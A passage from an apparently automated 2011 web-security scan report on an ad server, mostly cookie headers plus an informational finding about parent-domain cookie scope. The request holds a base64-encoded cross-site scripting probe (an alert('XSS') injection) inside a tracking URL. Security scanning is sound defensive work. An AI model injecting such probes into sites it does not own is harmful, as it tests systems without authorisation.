030m40lkkxrb0000000k3m030zqylkxrxz000000043m030mjelkkxrb0000000k3m0312qnlkkplt0000000p3m030ovslkze3o000000023m0212x6lkxrxz000000043m030bo8lkb5u20000000y3m0314e9lkze3o000000023m020mjjlkl0r50000000g3m030lw5lkb5u20000000y3m0316aulkze3o000000023m0215k9lkxlm50000000a3m0316atlkxlm50000000a3m031203lkb5u20000000y3m03163clkxlm50000000a3m031204lkkyy00000000j3m030afqlkze3o000000023m020o0vlkkpqx0000000m3m030z2ilkkxrb0000000k3m0313ovlkxrxz000000043m03; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000a3m030k0a50adsnlkxlm5006bu00a3m030k0a50aarllkxlm5006bu00a3m030k0a50acg5lkxlm5006bu00a3m030k0a50a9rslkkpke0d2dl00s3m030k0b50sam5lkkxr8002zw00l3m030k0b50lcd4lkxlm5006bu00a3m030k0a50acrglkxlm5006bu00a3m030k0a50acnolkxlm5006bu00a3m030k0a50aabelkxlm5006bu00a3m030k0a50add8lkxlm5006bu00a3m030k0a50acy2lkxlm5006bu00a3m030k0a50aaoplkb5u209jqc0063e000j00500cnxlkxlm50000000a3m030k0a50abq3lkxlm5006bu00a3m030k0a50abvplkxlm5006bu00a3m030k0a50aaoilkxlm5006bu00a3m030k0a50a942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu00a3m030k0a50abvclkxlm5006bu00a3m030k0a50ac5flkxlm5006bu00a3m030k0a50a56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00a3m030k0a50aawklkxlm5006bu00a3m030k0a50aasulkb5u209jqc0063e000j00500crplkxlm5006bu00a3m030k0a50aasqlkxlm5006bu00a3m030k0a50ac5rlkov6e0000000d3m030k0b50daw8lkxlm5006bu00a3m030k0a50ac60lkxlm5006bu00a3m030k0a50adc4lkxlm5006bu00a3m030k0a50ad26lkxlm5006bu00a3m030k0a50adnjlkxlm5006bu00a3m030k0a50abrilkxlm5006bu00a3m030k0a50acbclkxlm5006bu00a3m030k0a50ac85lkxlm5006bu00a3m030k0a50acsslkxlm5006bu00a3m030k0a50ac80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g700x3m030k0b50uc1elkxlm5006bu00a3m030k0a50ac81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00a3m030k0a50ac8flkxlm5006bu00a3m030k0a50aa6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00a3m030k0a50a9z6lkxlm50000000a3m030k0a50adbtlkxlm5006bu00a3m030k0a50adyllkxlm5006bu00a3m030k0a50a0kllklhm40c4010053l000k005009q4lkxlm5006bu00a3m030k0a50a9q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu00a3m030k0a50a0t7ljyxb410gst0153m030k0b50udgflkkpke0d2dl00s3m030k0b50s9mjlkxlm50000000a3m030k0a50abo0lkb5u20mm3x00y3m030k0b50ubo1lkkyy00cmo50093l000k005009pglkxlm5006bu00a3m030k0a50acwalkxlm5006bu00a3m030k0a50ad86lklhm40c4010053l000k00500d84lkxlm5006bu00a3m030k0a50adqllkxlm5006bu00a3m030k0a50adz3lkxlm5006bu00a3m030k0a50acm6lkxlm5006bu00a3m030k0a50acxdlkxlm5006bu00a3m030k0a50a719lkb5u20mm3x00g3m030k0a50b71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00a3m030k0a50acc3lkxlm5006bu00a3m030k0a50adgilkb5u209jqc0063e000j00500cthlkxlm5006bu00a3m030k0a50a4wclkb5u20mm3x00g3m030k0a50b8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu00a3m030k0a50aarilkxlm50000000a3m030k0a50abwjlkkyy00cszz00j3m030k0b50jcbplkxlm5006bu00a3m030k0a50a9gelkxlm5006bu00a3m030k0a50a; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
Set-Cookie: vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 13:14:21 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 13:14:20 GMT
Content-Length: 899

<a href="http://ad.media6degrees.com/adserv/clk?tId=4602020164879145|cId=5902|cb=1305033257|notifyPort=8080|exId=21|tId=4602020164879145|ec=1|secId=414|price=2.133250|pubId=625|advId=1209|notifyServer
...[SNIP]...

12.19. http://ad.media6degrees.com/adserv/csst previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adh=1lkkxr8160658j30136z01Rw9IhFlTn00ein14tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
clid=2ljtllp01170xrd52zkwjuxh15usk01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qj0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j350183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01Rw9IhFlTn00ein14tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usk01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:45 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qj0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j350183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1l